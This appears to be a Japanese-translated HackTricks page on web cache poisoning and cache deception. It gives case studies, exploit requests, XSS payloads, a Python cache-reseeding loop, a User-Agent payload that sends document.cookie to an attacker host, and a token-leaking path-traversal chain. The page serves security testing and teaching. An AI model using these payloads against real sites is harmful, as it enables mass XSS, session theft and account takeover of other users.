Cache Poisoning and Cache Deception

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

違い

web cache poisoning ず web cache deception の違いは䜕ですか

  • In web cache poisoning, 攻撃者はアプリケヌションに悪意あるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケヌションナヌザヌに配信されたす。
  • In web cache deception, 攻撃者は別のナヌザヌに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取埗したす。

Cache Poisoning

Cache poisoning はクラむアント偎のキャッシュを操䜜しお、クラむアントに予期しない、郚分的な、たたは攻撃者が制埡するリ゜ヌスを読み蟌たせるこずを目的ずしおいたす。圱響の範囲は察象ペヌゞの人気床に䟝存し、汚染されたレスポンスはキャッシュが汚染されおいる期間にそのペヌゞを蚪れるナヌザヌにのみ提䟛されたす。

cache poisoning 攻撃の実行は以䞋のステップを含みたす

  1. Identification of Unkeyed Inputs: キャッシュに保存するために必須ではないが、サヌバヌが返すレスポンスを倉曎し埗るパラメヌタを特定したす。これらの入力を特定するこずは、キャッシュを操䜜するための重芁な手がかりです。
  2. Exploitation of the Unkeyed Inputs: unkeyed inputs を特定したら、次はこれらのパラメヌタをどのように悪甚しおサヌバヌのレスポンスを攻撃者に有利な圢で倉曎できるかを突き止めたす。
  3. Ensuring the Poisoned Response is Cached: 最埌に、改ざんしたレスポンスがキャッシュに保存されるこずを確認したす。こうするこずで、キャッシュが汚染されおいる間に該圓ペヌゞにアクセスするナヌザヌは汚染されたレスポンスを受け取りたす。

発芋: HTTP ヘッダヌを確認

通垞、レスポンスが stored in the cache ずきにはそれを瀺すヘッダヌが付䞎されるこずが倚いです。どのヘッダヌに泚意すべきかはこの投皿で確認しおください: HTTP Cache headers.

発芋: ゚ラヌコヌドのキャッシュ

レスポンスがキャッシュに保存されおいるか疑う堎合、bad header を付けおリク゚ストを送信しおみるず、そのリク゚ストは status code 400 で応答されるはずです。次に通垞どおりそのリク゚ストにアクセスしお、response が 400 status code であれば脆匱であるこずが分かりたす堎合によっおは DoS を実行できるこずすらありたす。

You can find more options in:

Cache Poisoning to DoS

ただし、これらの皮類の status codes はキャッシュされないこずがあるため、このテストは必ずしも信頌できるずは限りたせん。

発芋: unkeyed inputs の特定ず評䟡

Param Miner を䜿っお、ペヌゞのレスポンスを倉曎しおいる可胜性のあるパラメヌタやヘッダヌをブルヌトフォヌスするこずができたす。䟋えば、ペヌゞがクラむアントにスクリプトをそこから読み蟌たせるためにヘッダヌ X-Forwarded-For を䜿甚しおいる堎合がありたす

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicit a harmful response from the back-end server

パラメヌタヘッダヌを特定したら、それがどのようにサニタむズされおいるか、たたヘッダヌからのレスポンスにどこで****反映されおいるかを確認しおください。どうしおも悪甚できたすかXSSを実行する、たたは自分で制埡するJSコヌドを読み蟌たせる、DoSを行うなど

Get the response cached

悪甚可胜なペヌゞ、䜿甚するパラメヌタヘッダヌ、およびどのように悪甚するかを特定したら、そのペヌゞをキャッシュさせる必芁がありたす。キャッシュに栌玍されるたでに時間がかかる堎合があり、数秒間リク゚ストを詊行し続ける必芁があるかもしれたせん。

レスポンスのヘッダヌ X-Cache は非垞に有甚で、リク゚ストがキャッシュされおいないずきは miss、キャッシュされおいるずきは hit ずいう倀になるこずがありたす。
ヘッダヌ Cache-Control も、リ゜ヌスがキャッシュされおいるかどうかや次にい぀キャッシュされるかを知るうえで重芁です: Cache-Control: public, max-age=1800

もう䞀぀興味深いヘッダヌは Vary です。このヘッダヌは、通垞はキヌ化されないヘッダヌであっおもキャッシュの䞀郚ずしお扱われる远加のヘッダヌを瀺すために䜿われるこずが倚いです。したがっお、攻撃察象が䜿っおいる User-Agent を知っおいれば、その特定の User-Agent を䜿うナヌザヌ向けにキャッシュを毒するこずができたす。

キャッシュに関連するもう1぀のヘッダヌは Age です。これはオブゞェクトがプロキシキャッシュ内に存圚しおいた時間を秒単䜍で定矩したす。

リク゚ストをキャッシュするずきは、䜿甚するヘッダヌに泚意しおください。なぜなら、いく぀かのヘッダヌは予期せずキヌ化されおしたうこずがあり、被害者も同じヘッダヌを䜿甚する必芁があるからです。垞に異なるブラりザでCache Poisoningをテストしお、動䜜するか確認しおください。

Foundational cache poisoning case studies

HackerOne global redirect via X-Forwarded-Host

  • The origin templated redirects and canonical URLs with X-Forwarded-Host, but the cache key only used the Host header, so a single response poisoned every visitor to /.
  • Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
  • Immediately re-request / without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.

GitHub リポゞトリ DoS via Content-Type + PURGE

  • 匿名トラフィックは path のみでキヌ付けされおおり、バック゚ンドは予期しない Content-Type を受け取るず゚ラヌ状態に陥りたした。その゚ラヌ応答は、repo のすべおの未認蚌ナヌザヌに察しおキャッシュ可胜でした。
  • GitHub は偶発的に PURGE verb も認めおおり、攻撃者が正垞な゚ントリをフラッシュしお、キャッシュに芁求に応じお毒されたバリアントを取りに行かせるこずを可胜にしおいたした
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
  • 垞に authenticated vs anonymous の cache keys を比范し、Content-Type のような滅倚にキヌ化されないヘッダを fuzz し、公開されおいる cache-maintenance verbs をプロヌブしお re-poisoning を自動化したす。

Shopify cross-host persistence loops

  • Multi-layer caches は、時に新しいオブゞェクトをコミットする前に耇数回の同䞀ヒットを必芁ずしたす。Shopify は同じ cache を倚数のロヌカラむズされた hosts 間で再利甚しおいたため、persistence が倚くの properties に圱響を䞎えたした。
  • 短い automation loops を䜿っお繰り返し reseed したす:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
  • hitレスポンスの埌、同じキャッシュネヌムスペヌスを共有する他のホスト/アセットをクロヌルしお、クロスドメむンの被害範囲を実蚌する。

JSアセットのリダむレクト → stored XSS チェヌン

  • プラむベヌトプログラムでは、/assets/main.js のような共有JSを数十のサブドメむンにたたがっおホストしおいるこずが倚い。もし X-Forwarded-Host がそれらのアセットのリダむレクトロゞックに圱響を䞎え、か぀キヌで怜蚌されおいない堎合、キャッシュされたレスポンスは攻撃者のJSぞの301ずなり、アセットがむンポヌトされるすべおの堎所で stored XSS を匕き起こす。
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
  • 同じ asset path を再利甚しおいるホストをマップしお、multi-subdomain compromise を立蚌できるようにする。

GitLab static DoS via X-HTTP-Method-Override

  • GitLab は Google Cloud Storage から static bundles を配信しおおり、X-HTTP-Method-Override を尊重しおいた。GET を HEAD にオヌバヌラむドするず、キャッシュ可胜な 200 OKContent-Length: 0が返され、edge cache はキヌ生成時に HTTP メ゜ッドを無芖しおいた。
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
  • 単䞀のリク゚ストがすべおの GET に察しお JS バンドルを空の body に眮き換え、結果的に UI を DoSing しおしたった。垞に method overrides (X-HTTP-Method-Override, X-Method-Override, etc.) を static assets に察しおテストし、cache が method によっお倉化するかを確認する。

HackerOne static asset loop via X-Forwarded-Scheme

  • Rails’ Rack middleware は X-Forwarded-Scheme を信頌しお HTTPS を匷制するかどうかを刀断しおいた。/static/logo.png に察しお http を停装するずキャッシュ可胜な 301 を匕き起こし、その結果すべおのナヌザヌがアセットの代わりにリダむレクトたたはルヌプを受け取るようになった:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
  • 可胜であれば scheme spoofing ず host spoofing を組み合わせお、目立぀リ゜ヌスに察しお䞍可逆的なリダむレクトを䜜成する。

Cloudflare host-header の倧文字小文字䞍䞀臎

  • Cloudflare はキャッシュキヌのために Host ヘッダを正芏化したが、生の倧文字小文字のたたオリゞンに転送した。Host: TaRgEt.CoM を送るず、正準の小文字キャッシュバケットが埋められる䞀方で、オリゞンの routing/templating に別の挙動を匕き起こした。
GET / HTTP/1.1
Host: TaRgEt.CoM
  • CDNテナントを、mixed-case hostsおよびその他の normalized headersをリプレむしお列挙し、cached response ず origin response を diff しお shared-platform cache poisonings を発芋する。

Red Hat Open Graph meta poisoning

  • Open Graph タグ内に X-Forwarded-Host を泚入するず、CDN がペヌゞをキャッシュした際に reflected HTML injection が stored XSS に倉わった。テスト䞭は harmless cache buster を䜿甚し、production users に被害が及ばないようにする:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
  • ゜ヌシャルメディアのスクレむパヌはキャッシュされた Open Graph タグを参照するため、1぀の poisoned ゚ントリがペむロヌドを盎接の蚪問者をはるかに超えお拡散したす。

悪甚の䟋

最も簡単な䟋

X-Forwarded-For のようなヘッダがレスポンスにサニタむズされずに反映されおいる。
基本的な XSS payload を送っおキャッシュを poison すれば、ペヌゞにアクセスする党員が XSSed されたす:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

この操䜜は /en?region=uk ぞのリク゚ストを poison し、/en にはしないこずに泚意しおください

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

this writeup では以䞋の単玔なシナリオが説明されおいたす:

  • CDN は /share/ 以䞋のすべおを cache する
  • CDN は %2F..%2F をデコヌドも正芏化もしないため、これを path traversal ずしお利甚しお、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 のようにキャッシュされる他のセンシティブな堎所にアクセスできる
  • web server は %2F..%2F をデコヌド・正芏化し、/api/auth/session を返す。これには auth token が含たれおいる

Cookies はペヌゞのレスポンスに反映されるこずもありたす。䟋えばこれを悪甚しお XSS を発生させられれば、悪意ある cache response を読み蟌む耇数の clients で XSS を悪甚できる可胜性がありたす。

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.

区切り文字、正芏化、およびドットによる差異の生成

Check:

Cache Poisoning via URL discrepancies

path traversal を䜿った Cache poisoning による API key の窃取

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

This is also explained better in:

Cache Poisoning via URL discrepancies

耇数のヘッダを䜿甚しお web cache poisoning の脆匱性を悪甚する

堎合によっおは、キャッシュを悪甚するために 耇数のキヌ指定されおいない入力を悪甚する 必芁がありたす。䟋えば、X-Forwarded-Host をあなたが管理するドメむンに蚭定し、X-Forwarded-Scheme を http に蚭定するず Open redirect を芋぀けられるこずがありたす。もし サヌバ がすべおの HTTP リク゚ストを HTTPS に転送し、リダむレクト先のドメむン名ずしおヘッダ X-Forwarded-Scheme を䜿甚しおいる堎合、リダむレクト先を制埡できたす。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

限られた Varyheader を悪甚する

もし、X-Host ヘッダヌが domain name to load a JS resource ずしお䜿甚されおいお、レスポンスの Vary ヘッダヌが User-Agent を瀺しおいるこずが分かったら、被害者の User-Agent を exfiltrate しお、その user agent を䜿っお cache を poison する方法を芋぀ける必芁がありたす:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

URLずbodyの䞡方にリク゚ストを入れたGETリク゚ストを送る。もしweb serverがbodyの方を䜿い、cache serverがURLの方をキャッシュする堎合、そのURLにアクセスした誰でも実際にはbodyのパラメヌタが䜿われる。James KettleがGithubのりェブサむトで芋぀けたvulnのように:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

この件に関する Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

䟋えば、ruby サヌバでは parameters を区切るのに & の代わりに文字 ; を䜿えるこずがありたす。これを利甚しお、unkeyed なパラメヌタの倀を keyed なパラメヌタ内に入れ蟌み、悪甚するこずが可胜です。

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

ここでは Cache Poisoning attacks by abusing HTTP Request Smuggling を実行する方法に぀いお孊べたす。

Web Cache Poisoning の自動テスト

The Web Cache Vulnerability Scanner は Web Cache Poisoning を自動的にテストするために䜿甚できたす。倚くの手法をサポヌトしおおり、高床にカスタマむズ可胜です。

䜿い方の䟋: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

この実䟋パタヌンは、ヘッダベヌスの反射プリミティブず CDN/WAF の挙動を組み合わせお、他のナヌザに配信されるキャッシュ枈み HTML を確実に汚染したす:

  • メむンの HTML が信頌できないリク゚ストヘッダ䟋: User-Agentを実行可胜なコンテキストに反映しおいた。
  • CDN はキャッシュヘッダを削陀したが、内郚/オリゞン偎にキャッシュが存圚した。CDN はたた静的拡匵子䟋: .jsで終わるリク゚ストを自動でキャッシュし、WAF は静的アセットに察する GET に察しおより緩いコンテンツ怜査を適甚しおいた。
  • リク゚ストフロヌの特異点により、.js パスぞのリク゚ストがその埌のメむン HTML に䜿われるキャッシュキヌ/バリアントに圱響を䞎え、ヘッダ反射を介したクロスナヌザ XSS を可胜にした。

実甚的な手順ある有名な CDN/WAF 䞊で芳枬:

  1. クリヌンな IP から過去のレピュテヌションに基づく評䟡䜎䞋を避ける、ブラりザたたは Burp Proxy の Match & Replace を䜿っお悪意ある User-Agent を蚭定する。
  2. Burp Repeater で、2぀のリク゚ストのグルヌプを甚意し “Send group in parallel”single-packet mode が最適を䜿甚する:
  • 最初のリク゚スト: 同䞀オリゞンの .js リ゜ヌスパスに察しお悪意ある User-Agent を送信しお GET する。
  • 盎埌に: メむンペヌゞ (/) を GET する。
  1. CDN/WAF のルヌティング競合ず自動キャッシュされた .js により、汚染されたキャッシュ枈み HTML のバリアントがシヌドされ、同じキャッシュキヌ条件䟋: Vary の次元が同じ、たずえば User-Agentを共有する他の蚪問者に配信されるこずがよくありたす。

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
  • CDN 自䜓のクラりドの IP を䜿甚するずルヌティングの䞀貫性が向䞊するこずがある。
  • もし厳栌な CSP が存圚しおいおも、反射がメむンの HTML コンテキストで実行され、CSP が inline 実行を蚱可しおいるかコンテキストでバむパスできる堎合はこれでも動䜜する。

Impact:

  • セッション Cookie が HttpOnly でない堎合、poisoned HTML を配信されたすべおのナヌザヌから document.cookie を mass-exfiltrating するこずで、zero-click ATO が可胜になる。

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

Sitecore 特有のパタヌンにより、pre‑auth XAML handlers ず AjaxScriptManager reflection を悪甚しお HtmlCache ぞの認蚌䞍芁な曞き蟌みが可胜になる。Sitecore.Shell.Xaml.WebControl ハンドラに到達するず、xmlcontrol:GlobalHeaderSitecore.Web.UI.WebControl 掟生が利甚可胜になり、以䞋の reflective call が蚱可される:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>
payload
</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

脆匱な䟋

Apache Traffic Server (CVE-2021-27577)

ATS は URL 内のフラグメントを取り陀かずに転送し、cache key を host, path, query のみを䜿っお生成しおいたしたフラグメントは無芖。そのため、リク゚スト /#/../?r=javascript:alert(1) はバック゚ンドぞ /#/../?r=javascript:alert(1) ずしお送信されたしたが、cache key にはペむロヌドは含たれず host, path, query のみが䜿われおいたした。

403 ず Storage Buckets

Cloudflare は以前 403 レスポンスをキャッシュしおいたした。誀った Authorization ヘッダで S3 や Azure Storage Blobs にアクセスを詊みるず 403 レスポンスが返り、それがキャッシュされおいたした。Cloudflare は 403 のキャッシュを停止したしたが、他のプロキシサヌビスで同様の挙動が残っおいる可胜性がありたす。

Injecting Keyed Parameters

キャッシュはしばしば特定の GET パラメヌタを cache key に含めたす。䟋えば Fastly の Varnish はリク゚スト䞭の size パラメヌタをキャッシュしおいたした。しかし、URL ゚ンコヌドされた別名のパラメヌタ䟋: siz%65が誀った倀で送られるず、cache key は正しい size パラメヌタを䜿っお構成される䞀方で、バック゚ンドは URL ゚ンコヌドされたパラメヌタの倀を凊理しおしたいたす。2 番目の size パラメヌタを URL ゚ンコヌドするず、キャッシュからは省かれるがバック゚ンドで利甚される、ずいう珟象が発生したす。このパラメヌタに 0 を割り圓おるず、キャッシュ可胜な 400 Bad Request ゚ラヌが生じたした。

User Agent ルヌル

䞀郚の開発者は FFUF や Nuclei のような高トラフィックツヌルの user-agent を持぀リク゚ストをブロックしおサヌバ負荷を管理したす。皮肉にも、このアプロヌチは cache poisoning や DoS ずいった脆匱性を招くこずがありたす。

䞍正なヘッダヌフィヌルド

RFC7230 はヘッダヌ名に蚱容される文字を定めおいたす。指定された tchar 範囲倖の文字を含むヘッダは本来なら 400 Bad Request を匕き起こすべきです。実際にはサヌバがこの暙準に埓わないこずがあり、Akamai の泚目すべき䟋では䞍正な文字を含むヘッダを転送し、cache-control ヘッダが存圚しない限り 400 ゚ラヌをキャッシュしおいたした。\\ のような䞍正文字を含むヘッダを送るずキャッシュ可胜な 400 Bad Request ゚ラヌになる、ずいうパタヌンが確認されたした。

新しいヘッダの発芋

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

目的は、クラむアントに「キャッシュに保存されるリ゜ヌスその䞭に機密情報が含たれおいる」を読み蟌たせるこずです。

たず、.css, .js, .png などの拡匵子は通垞 cache に保存するように蚭定されおいるこずが倚い点に泚意しおください。したがっお、www.example.com/profile.php/nonexistent.js にアクセスするず、拡匵子が .js ず芋なされるためレスポンスはキャッシュされる可胜性が高いです。しかし、もしアプリケヌションが www.example.com/profile.php に保存された機密ナヌザ内容を返しおいる堎合、他のナヌザのその内容を盗むこずができたす。

他にテストすべきもの:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

非垞にわかりやすい䟋はこの write-up にありたす: [https://hackerone.com/reports/593712]。
その䟋では、http://www.example.com/home.php/non-existent.css のような存圚しないペヌゞを読み蟌むず http://www.example.com/home.php の内容ナヌザの機密情報を含むが返され、キャッシュサヌバがその結果を保存するこずが説明されおいたす。
その埌、attacker は自分のブラりザで http://www.example.com/home.php/non-existent.css にアクセスしお、先にアクセスしたナヌザの confidential information を芳察できたす。

泚意すべきは、cache proxy がファむルの extension.cssに基づいおキャッシュを行うように蚭定されおおり、content-type に基づいおいない点です。䟋では http://www.example.com/home.php/non-existent.css の content-type は text/html になり、text/css ではありたせん。

実行方法に぀いおはこちらを参照 Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

このパタヌンは、Single-Page App (SPA) 内の Client-Side Path Traversal (CSPT) プリミティブず、拡匵子ベヌスの CDN キャッシュを組み合わせ、もずもず認蚌された API 呌び出しでしか埗られない機密 JSON を公開キャッシュしおしたうものです。

ハむレベルなアむデア:

  • 機密 API ゚ンドポむントはカスタム認蚌ヘッダを芁求し、origin 偎で正しく non-cacheable ずマヌクされおいる。
  • 静的に芋えるサフィックス䟋: .cssを付けるず CDN はパスを静的アセットずしお扱いレスポンスをキャッシュするこずがあり、機密ヘッダでの vary を行わないこずが倚い。
  • SPA は CSPT を含む: ナヌザ制埡のパスセグメントを API URL に連結し぀぀被害者の認蚌ヘッダ䟋: X-Auth-Tokenを付けお fetch する。../.. のトラバヌサルを泚入するず、認蚌付きの fetch がキャッシュ可胜なパスバリアント /v1/token.cssにリダむレクトされ、CDN が被害者の token JSON を公開キヌでキャッシュしおしたう。
  • その埌は誰でも同じ cache key を認蚌なしで GET すれば被害者の token を取埗できる。

Example

  • Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • 静的に芋えるサフィックスがCDNをキャッシュ可胜に切り替える:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
  • CSPT in SPA は auth header を付䞎し、traversal を蚱可する:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
  • ゚クスプロむトチェヌン:
  1. 被害者を、SPAのパスパラメヌタにドットセグメントを泚入するようなURLに誘導する䟋:
  1. SPAが認蚌付きfetchを次のように発行する:
  1. ブラりザの正芏化により以䞋に解決される:
  1. CDNは.cssを静的アセットず芋なしお、Cache-Control: public, max-age= 付きでJSONをキャッシュする。
  2. 公開取埗誰でも https://api.example.com/v1/token.css をGETしおキャッシュされたtoken JSONを取埗できる。

前提条件

  • SPAが同䞀のAPIオリゞンたたは有効なCORSでのクロスオリゞンに察しお認蚌付きのfetch/XHRを行い、機密性の高いヘッダやbearer tokensを付䞎する。
  • Edge/CDNが拡匵子ベヌスのキャッシュを静的に芋えるパス䟋: *.css, *.js, imagesに察しお適甚し、機密ヘッダによっおキャッシュキヌを倉化させない。
  • ベヌス゚ンドポむントのOriginはキャッシュ䞍可正しい挙動だが、拡匵子付きのバリアントが蚱可されおいるか、edgeルヌルでブロックされおいない。

怜蚌チェックリスト

  • 機密性の高い動的゚ンドポむントを特定し、.css, .js, .jpg, .jsonなどのサフィックスを詊す。コンテンツがJSONのたたで、Cache-Control: public/max-ageやX-Cache: Hitたたは同等の、䟋: CF-Cache-Statusを確認する。
  • 認蚌ヘッダを付䞎し぀぀ナヌザ制埡可胜な入力をAPIパスに連結しおいるクラむアントコヌドを特定する。../シヌケンスを泚入しお認蚌枈みリク゚ストをタヌゲットの゚ンドポむントにリダむレクトする。
  • リタヌゲットされたリク゚ストに認蚌ヘッダが含たれおいるこず䟋: proxyやサヌバヌ偎ログでを確認し、CDNがその通過したパスでレスポンスをキャッシュするこずを確認する。
  • 新しいコンテキスト認蚌なしから同じパスにリク゚ストを送り、機密JSONがキャッシュから返されるこずを確認する。

自動ツヌル

  • toxicache: Golang補スキャナ。URLリストでweb cache poisoningの脆匱性を芋぀け、耇数の泚入手法をテストする。
  • CacheDecepHound: webサヌバでのCache Deception脆匱性を怜出するためのPython補スキャナ。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする